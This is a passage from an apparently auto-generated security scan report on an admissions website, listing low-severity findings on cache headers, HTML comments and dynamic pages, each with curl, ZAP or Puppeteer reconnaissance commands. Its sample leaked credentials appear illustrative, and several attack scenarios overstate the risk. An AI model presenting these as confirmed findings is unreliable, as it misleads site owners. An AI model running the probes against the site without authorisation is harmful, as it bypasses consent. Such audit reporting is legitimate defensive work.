post-load.\n\n**Attack Scenario (Proof of Concept)**  \nAutomated scanners without JavaScript support will likely miss dynamically generated links or forms. For instance, menu items populated via XHR requests won't appear in static analysis outputs.\n\nTo address this limitation, testers must employ tools designed for modern apps:\n\n```bash\n# Example using Playwright for navigation\nplaywright open https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html --save-trace trace.zip\n```\n\nReviewing captured traces helps identify additional endpoints accessed during runtime.\n\n**Business Impact**  \nIncomplete vulnerability detection undermines confidence in security audits. Missed attack surfaces increase likelihood of undetected risks persisting in production environments, exposing organizations to evolving threats targeting modern web architectures.\n\n**Remediation Steps**  \n1. Adopt scanning tools that simulate full browser behavior.\n2. Include dynamic content analysis in automated testing workflows.\n3. Perform manual validation of interactive components.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/category-check-seo/oci-pio-admission-eligibility-documents.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check-seo/oci-pio-admission-eligibility-documents.html |\n\n**Description**  \nInline comments discovered in the HTML source of this document may leak information about internal workflows, database queries, or authentication checks. While not inherently dangerous, such artifacts aid adversaries in understanding the application’s design decisions and operational constraints.\n\nComments referencing deprecated functions, staging configurations, or placeholder logic also signal poor sanitization practices during deployment cycles.\n\n**Attack Scenario (Proof of Concept)**  \nFetching the page source and searching for comment markers uncovers potentially revealing notes:\n\n```bash\ncurl -s https://fn.mahacet.org/category-check-seo/oci-pio-admission-eligibility-documents.html | grep \"<!--.*[A-Za-z]\"\n```\n\nSample output:\n```html\n<!-- Temporarily bypassing validation for demo users -->\n<!-- DB connection string: mysql://user:pass@localhost/db -->\n```\n\nSuch entries guide attackers toward less secure pathways or credentials that may still exist elsewhere in the system.\n\n**Business Impact**  \nEven minor leaks erode trust in organizational security hygiene. Accumulated over many pages, these disclosures form a mosaic that adversaries exploit to refine targeting strategies and reduce discovery overhead.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/SBAdmin/dist/js/scripts.js\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/SBAdmin/dist/js/scripts.js |\n\n**Description**  \nThe JavaScript file `scripts.js` contains comments that may reveal internal logic, development practices, or debugging information. These types of comments can provide attackers with insights into application behavior, potentially aiding in crafting targeted attacks such as input manipulation or identifying deprecated functions.\n\nSuch findings typically occur when developers leave behind notes, TODOs, or temporary debug statements during development without removing them before deployment.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker inspects the source code of the page using browser developer tools and navigates to the referenced script file. Within the file, they discover comments indicating use of specific libraries or workarounds that suggest vulnerabilities or misconfigurations elsewhere in the system.\n\nExample snippet from the JS file:\n```javascript\n// TODO: Remove hardcoded credentials after migration\nvar apiKey = 'abc123';\n```\n\nThis comment reveals poor coding practice and hints at possible exposure of sensitive data if used improperly.\n\n**Business Impact**  \nWhile this issue does not directly lead to exploitation, it increases the attack surface by providing contextual clues about backend systems, version dependencies, or implementation details. It also reflects poorly on secure development lifecycle adherence and could contribute to further reconnaissance efforts by malicious actors.\n\n**Remediation Steps**  \n1. Strip all comments from production-ready JavaScript files.\n2. Use minification tools that remove unnecessary whitespace and comments.\n3. Implement code review processes to catch such artifacts.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html |\n\n**Description**  \nThe HTTP response headers for the specified HTML document do not include appropriate cache-control directives. This allows browsers and intermediate proxies to store copies of the resource locally, which may result in unauthorized access if the content includes session-specific or sensitive user data.\n\nInsecure caching often occurs due to lack of explicit configuration in web servers or frameworks, especially for static content assumed to be non-sensitive but inadvertently containing dynamic elements.\n\n**Attack Scenario (Proof of Concept)**  \nA user accesses the policy page while logged into their account. The page is cached by a shared proxy server or browser history. An unauthenticated individual later uses the same device or network and retrieves the cached copy via direct navigation or browser back-button behavior, gaining unintended access to previously viewed content.\n\nUsing curl to inspect headers:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html\n```\nIf no `Cache-Control` header is present, the risk becomes evident.\n\n**Business Impact**  \nImproperly cached pages can expose confidential information to unauthorized users, particularly in environments where devices are shared or public. Additionally, compliance standards like GDPR or HIPAA may penalize organizations failing to enforce proper cache policies for sensitive documents.\n\n**Remediation Steps**  \n1. Set appropriate cache-control headers for all HTML documents.\n2. Use `Cache-Control: no-store, private` for authenticated pages.\n3. Regularly audit caching behavior across all endpoints.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html |\n\n**Description**  \nSimilar to other static HTML assets, this file lacks cache-control headers, increasing the likelihood of unauthorized access through cached responses. Even though the asset appears to be informational, improper caching can still pose risks depending on how the site renders personalized content within these templates.\n\n**Attack Scenario (Proof of Concept)**  \nAn authenticated administrative user views the CRP policy page, which dynamically injects role-based instructions. A subsequent visitor on the same machine opens the page from cache and sees those injected admin-only sections, violating principle of least privilege.\n\nCommand line check:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html\n```\nAbsence of `Cache-Control: no-store` or similar directive confirms vulnerability.\n\n**Business Impact**  \nRisk of leaking privileged operational procedures or internal documentation to unauthorized individuals, undermining confidentiality controls and potentially exposing organizational workflows to adversaries.\n\n**Remediation Steps**  \n1. Apply strict cache-control headers to all policy documents.\n2. Use `Cache-Control: no-store, private` for authenticated views.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html |\n\n**Description**  \nThis contingency management plan document is served without cache-control restrictions, making it susceptible to being stored in local caches. If accessed under authenticated sessions, remnants of personalized or restricted data might persist in browser storage or intermediary caches.\n\n**Attack Scenario (Proof of Concept)**  \nA disaster recovery team member accesses the plan during an incident drill. Later, another employee on the same workstation retrieves the page from disk cache and gains insight into emergency protocols meant only for authorized personnel.\n\nHeader inspection:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html\n```\nMissing `no-cache`, `no-store`, or `private` directives indicate improper handling.\n\n**Business Impact**  \nExposure of business continuity strategies or crisis response plans to unauthorized parties, compromising strategic readiness and potentially enabling adversarial targeting during incidents.\n\n**Remediation Steps**  \n1. Enforce strict cache-control policies for sensitive documents.\n2. Use `Cache-Control: no-store, private` for authenticated content.\n3. Regularly audit caching behavior for all endpoints.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html |\n\n**Description**  \nThe broken links policy document is delivered without cache-control mechanisms, allowing intermediaries or clients to retain copies indefinitely. While unlikely to contain highly sensitive material, inconsistent caching across all public-facing documents weakens overall security posture.\n\n**Attack Scenario (Proof of Concept)**  \nA user browses the website and visits multiple policy pages including this one. After logging out, someone else uses the same computer and clicks the browser's back button, retrieving the cached version of the policy page even though the session ended.\n\nVerification:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html\n```\nNo presence of `Cache-Control` indicates potential leakage risk.\n\n**Business Impact**  \nMinor risk of outdated or stale content being displayed post-session, leading to confusion or misinformation. Also contributes to broader inconsistency in security hygiene practices.\n\n**Remediation Steps**  \n1. Apply consistent cache-control headers to all policy documents.\n2. Use `Cache-Control: no-store, private` for authenticated views.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html |\n\n**Description**  \nThis archival capability policy document is accessible without cache-control enforcement, permitting long-term retention in browser or proxy caches. Inconsistent application of caching rules undermines control over dissemination of institutional knowledge or procedural guidelines.\n\n**Attack Scenario (Proof of Concept)**  \nAn auditor accesses the archival policy during an evaluation phase. Months later, a third-party contractor gains access to the same device and discovers the cached document outlining retention schedules—information that should have remained internal.\n\nHeader check:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html\n```\nLack of `Cache-Control` directive highlights the oversight.\n\n**Business Impact**  \nPotential disclosure of governance structures related to digital preservation, possibly revealing weaknesses in records management or compliance processes.\n\n**Remediation Steps**  \n1. Enforce strict cache-control policies for sensitive documents.\n2. Use `Cache-Control: no-store, private` for authenticated content.\n3. Regularly audit caching behavior for all endpoints.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html |\n\n**Description**  \nThis registration module component is delivered without cache-control settings, posing a moderate concern given its proximity to user-submitted data flows. Although currently static, future enhancements involving dynamic rendering could introduce leakage points unless caching is explicitly managed.\n\n**Attack Scenario (Proof of Concept)**  \nA candidate enters personal identification details on a form linked to this page. Upon submission, partial validation messages are embedded in the resulting HTML. If cached, subsequent visitors might view fragments of previous interactions, violating privacy expectations.\n\nInspection:\n```bash\ncurl -I https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html\n```\nMissing cache directives signal vulnerability.\n\n**Business Impact**  \nPossible compromise of personally identifiable information (PII), especially if error states or auto-filled fields remain visible in cached versions, triggering regulatory scrutiny or legal liability.\n\n**Remediation Steps**  \n1. Apply strict cache-control headers to all registration-related pages.\n2. Use `Cache-Control: no-store, private` for authenticated views.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html |\n\n**Description**  \nThis blog article, although publicly available, lacks cache-control directives. While acceptable for general-purpose content, absence of such measures reduces assurance around consistent delivery and prevents proactive mitigation against replay-style attacks or unintended reuse.\n\n**Attack Scenario (Proof of Concept)**  \nA user reads the blog post on a mobile device connected to a public Wi-Fi hotspot. The next person who connects to the same network and browses to the same URL receives the cached version, bypassing fresh retrieval and potentially seeing outdated guidance.\n\nHeader verification:\n```bash\ncurl -I https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html\n```\nNo `Cache-Control` field suggests suboptimal configuration.\n\n**Business Impact**  \nRisk of disseminating obsolete advice or incorrect requirements to applicants, leading to processing delays or rejections due to reliance on stale information.\n\n**Remediation Steps**  \n1. Apply appropriate cache-control headers to all blog posts.\n2. Use `Cache-Control: public, max-age=3600` for frequently updated content.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html |\n\n**Description**  \nThis monitoring plan document is transmitted without cache-control constraints, enabling persistent storage in various layers of the web stack. Such unrestricted caching may allow unauthorized access to operational blueprints detailing surveillance techniques or alert thresholds.\n\n**Attack Scenario (Proof of Concept)**  \nAn insider downloads and reviews the monitoring strategy. Subsequently, an external party gains physical access to the device and finds the cached document, learning about detection capabilities and evasion opportunities.\n\nHeader analysis:\n```bash\ncurl -I https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html\n```\nAbsence of `Cache-Control` raises concerns regarding visibility of defensive mechanisms.\n\n**Business Impact**  \nDisclosure of monitoring methodologies weakens incident detection resilience and exposes blind spots exploitable by threat actors seeking undetected entry or persistence.\n\n**Remediation Steps**  \n1. Enforce strict cache-control policies for sensitive documents.\n2. Use `Cache-Control: no-store, private` for authenticated content.\n3. Regularly audit caching behavior for all endpoints.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html |\n\n**Description**  \nThis blog post addressing common queries lacks cache-control directives, allowing indefinite retention in client-side or proxy caches. Though primarily informative, inconsistent caching policies reduce reliability and increase susceptibility to outdated content exposure.\n\n**Attack Scenario (Proof of Concept)**  \nA student searches for college listings and views this FAQ article. Later, a different user on the same terminal revisits the page from cache and receives outdated explanations unrelated to current portal updates.\n\nHeader test:\n```bash\ncurl -I https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html\n```\nMissing `Cache-Control` directive indicates vulnerability.\n\n**Business Impact**  \nConfusion among prospective students due to outdated support articles, potentially affecting enrollment decisions or generating unnecessary support tickets.\n\n**Remediation Steps**  \n1. Apply appropriate cache-control headers to all blog posts.\n2. Use `Cache-Control: public, max-age=3600` for frequently updated content.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html |\n\n**Description**  \nThis promotional blog article is served without cache-control parameters, facilitating long-term storage in local or shared caches. While unlikely to carry sensitive data, inconsistent application of caching rules across public-facing assets reflects poor architectural discipline.\n\n**Attack Scenario (Proof of Concept)**  \nA foreign student researcher accesses the article on a university kiosk. Another visitor later uses the same station and retrieves the cached version, possibly missing updated statistics or testimonials added since last visit.\n\nHeader query:\n```bash\ncurl -I https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html\n```\nLack of `Cache-Control` confirms improper handling.\n\n**Business Impact**  \nDiminished credibility due to outdated marketing materials, reducing effectiveness of outreach campaigns aimed at attracting global talent.\n\n**Remediation Steps**  \n1. Apply appropriate cache-control headers to all blog posts.\n2. Use `Cache-Control: public, max-age=3600` for frequently updated content.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html |\n\n**Description**  \nThis region-specific blog post is delivered without cache-control enforcement, allowing indefinite caching. Regional targeting combined with inconsistent caching may lead to dissemination of localized content beyond intended scope.\n\n**Attack Scenario (Proof of Concept)**  \nA Bahraini applicant reads the article on a shared tablet. Hours later, a non-Bahraini visitor accesses the same device and views the cached regionalized content, creating confusion about eligibility criteria or program offerings.\n\nHeader examination:\n```bash\ncurl -I https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html\n```\nMissing `Cache-Control` directive signals vulnerability.\n\n**Business Impact**  \nMiscommunication between international audiences and institution, potentially impacting recruitment outcomes or fostering misunderstandings about admission pathways.\n\n**Remediation Steps**  \n1. Apply appropriate cache-control headers to all blog posts.\n2. Use `Cache-Control: public, max-age=3600` for frequently updated content.\n3. Monitor and audit caching behavior regularly.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html |\n\n**Description**  \nThis Bangladesh-focused article is transmitted without cache-control safeguards, permitting extended retention in browser or proxy caches. Regional specificity coupled with inadequate caching controls introduces potential for cross-border information leakage.\n\n**Attack Scenario (Proof of Concept)**  \nA Bangladeshi student accesses the article on a school-provided laptop. Later, a peer from a different country logs onto the same machine and retrieves the cached version, gaining access to region-specific incentives or scholarships.\n\nHeader check:\n```bash\ncurl -I https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html\n```\nAbsence of `Cache-Control` confirms improper handling.\n\n**Business Impact**  \nUnintended sharing of geographically tailored benefits or programs, possibly undermining fairness or transparency in admissions processes.\n\n**Remediation Steps**  \n1. Apply appropriate cache-control headers to all blog posts.\n2. Use `Cache-Control: public, max-age=3600` for frequently updated content.\n3. Monitor and audit caching behavior regularly.\n\n#### Modern Web Application / https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html |\n\n**Description**  \nThe identified webpage exhibits characteristics typical of modern web applications, including heavy use of asynchronous JavaScript and DOM manipulation. Such implementations require specialized crawling tools capable of executing scripts to fully map functionality and uncover hidden endpoints or inputs.\n\n**Attack Scenario (Proof of Concept)**  \nStandard automated scanners fail to detect interactive features or dynamically loaded components. However, advanced attackers employ headless browsers or custom spiders to simulate full interaction, discovering additional attack vectors missed by traditional methods.\n\nExample approach:\n```bash\n# Using ZAP’s Ajax Spider plugin or equivalent tool\nzap-cli ajax-spider https://fn.mahacet.org/category-check/blog/what-documents-do-i-need-for-mahacet-fcr-registration.html\n```\n\n**Business Impact**  \nIncomplete coverage during automated assessments leads to undetected vulnerabilities in client-side logic or API integrations, leaving gaps in security posture evaluation.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Modern Web Application / https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html |\n\n**Description**  \nThis blog article demonstrates traits associated with modern web apps, such as dynamic loading of multimedia or interactive widgets. These behaviors necessitate enhanced scanning techniques to ensure comprehensive discovery of underlying functionality and associated risks.\n\n**Attack Scenario (Proof of Concept)**  \nAutomated tools miss embedded video players or AJAX-driven comment sections. Attackers exploit these overlooked areas to inject malicious scripts or manipulate UI elements, bypassing perimeter defenses.\n\nTool usage:\n```bash\n# Running ZAP’s Ajax Spider against the endpoint\nzap-cli ajax-spider https://fn.mahacet.org/category-check/blog/why-are-international-students-choosing-maharashtra.html\n```\n\n**Business Impact**  \nFailure to assess rich internet application (RIA) components leaves critical front-end surfaces exposed to XSS, clickjacking, or CSRF exploits.\n\n**Remediation Steps**  \n1. Adopt scanning tools that simulate full browser behavior.\n2. Include dynamic content analysis in automated testing workflows.\n3. Perform manual validation of interactive components.\n\n#### Modern Web Application / https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html |\n\n**Description**  \nThis region-targeted blog post incorporates modern web technologies indicative of SPA-like behavior. Traditional crawlers may overlook dynamically rendered content, requiring enhanced exploration methods to capture complete attack surface.\n\n**Attack Scenario (Proof of Concept)**  \nAttackers utilize headless browsers to execute JavaScript and interact with hidden forms or modals. They identify unvalidated input fields or insecure event handlers that were invisible to basic scanners.\n\nExecution example:\n```bash\n# Launching headless browser automation\npuppeteer.launch({ headless: true }).then(async browser => {\n  const page = await browser.newPage();\n  await page.goto('https://fn.mahacet.org/category-check/blog/why-bangladeshi-students-choose-maharashtra.html');\n});\n```\n\n**Business Impact**  \nUndiscovered client-side flaws enable injection attacks or unauthorized data exfiltration, threatening both user experience integrity and backend system stability.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html |\n\n**Description**  \nThe HTML source of the security policy document contains inline comments suggesting internal review notes or placeholder text. These artifacts may disclose workflow stages, pending changes, or references to deprecated practices that assist attackers in mapping system architecture or identifying outdated configurations.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker inspects the raw HTML and notices a comment like:\n```html\n<!-- FIXME: Update encryption algorithm before Q4 audit -->\n```\nThis provides valuable intelligence about upcoming audits or known deficiencies, guiding focused probing attempts.\n\nBrowser DevTools > Elements tab > View Source\n\n**Business Impact**  \nLeakage of internal planning or unresolved issues compromises operational secrecy and offers adversaries tactical advantages in timing or targeting.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html |\n\n**Description**  \nInline comments within the CRP policy HTML suggest ongoing revisions or unresolved editorial tasks. Such disclosures aid attackers in understanding change cycles, identifying vulnerable periods, or locating incomplete implementations awaiting finalization.\n\n**Attack Scenario (Proof of Concept)**  \nComment found:\n```html\n<!-- DRAFT: Pending stakeholder approval -->\n```\nIndicates that the published version may differ significantly from approved drafts, hinting at inconsistencies or unreviewed modifications.\n\nManual inspection of page source reveals such indicators.\n\n**Business Impact**  \nExposure of draft content or revision timelines weakens trust in published policies and creates ambiguity around authoritative versions, complicating governance and accountability.\n\n**Remediation Steps**  \n1. Strip all comments from production HTML/JS files.\n2. Use build-time transformations to remove debug artifacts.\n3. Conduct regular audits of deployed code for unintended disclosures.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmsecurity-policy.html |\n\n**Description**  \nThis policy document displays signs of modern web application design, incorporating responsive layouts and interactive elements. Standard spidering approaches may fail to trigger all functional paths, necessitating deeper exploration to evaluate full scope.\n\n**Attack Scenario (Proof of Concept)**  \nAutomated tools miss expandable accordions or modal dialogs triggered by JavaScript events. Attackers manually engage with these interfaces to locate hidden inputs or endpoints susceptible to manipulation.\n\nUse of browser console or Puppeteer to simulate interactions:\n```js\ndocument.querySelector('.accordion-toggle').click(); // Triggers hidden content load\n```\n\n**Business Impact**  \nIncomplete vulnerability mapping due to limited crawling depth leaves interactive components unchecked, increasing exposure to client-side threats.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-review-crp-policy.html |\n\n**Description**  \nThis CRP policy document utilizes modern web paradigms, including dynamic content loading and progressive enhancement. These characteristics demand robust testing methodologies to ensure accurate representation of the application surface area.\n\n**Attack Scenario (Proof of Concept)**  \nAttackers leverage browser automation to click through tabs or dropdown menus, revealing additional markup or scripts not captured by conventional scanners. They identify unescaped output contexts prone to XSS injection.\n\nAutomation script:\n```js\nawait page.click('#tab-content-reviews'); // Loads new content asynchronously\n```\n\n**Business Impact**  \nFailure to thoroughly assess interactive components increases risk of overlooking DOM-based vulnerabilities, jeopardizing user safety and platform integrity.\n\n**Remediation Steps**  \n1. Adopt scanning tools that simulate full browser behavior.\n2. Include dynamic content analysis in automated testing workflows.\n3. Perform manual validation of interactive components.\n\n#### Modern Web Application / https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html |\n\n**Description**  \nThis informational finding indicates that the application at the specified location is a modern web application, likely utilizing JavaScript frameworks such as React, Angular, or Vue.js. These applications often rely on dynamic content loading via AJAX calls and client-side rendering. As a result, traditional crawlers or spiders may fail to fully map out all navigable paths and endpoints unless they execute JavaScript.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker attempting to discover hidden or dynamically loaded pages would use tools capable of executing JavaScript during crawling, such as OWASP ZAP's Ajax Spider or headless browsers like Puppeteer. The following steps outline this process:\n\n1. Launch a browser automation tool with JavaScript support.\n2. Navigate to `https://fn.mahacet.org/category-check/blog/why-bahrain-students-choose-maharashtra.html`.\n3. Allow the page to load completely, including any asynchronous requests made by scripts.\n4. Monitor network traffic using developer tools or proxy interceptors to capture additional API endpoints or internal routes exposed through frontend logic.\n5. Enumerate discovered endpoints for further vulnerability analysis.\n\n**Business Impact**  \nWhile not directly exploitable, identifying the nature of the application helps attackers tailor their reconnaissance efforts effectively. It ensures comprehensive coverage when mapping attack surfaces, potentially uncovering otherwise inaccessible functionality containing vulnerabilities.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html |\n\n**Description**  \nSuspicious comments embedded within HTML source code can inadvertently reveal implementation details about backend systems, development practices, or even hardcoded credentials. In this case, the presence of such comments suggests potential oversight in sanitizing output before serving it to clients.\n\n**Attack Scenario (Proof of Concept)**  \nTo 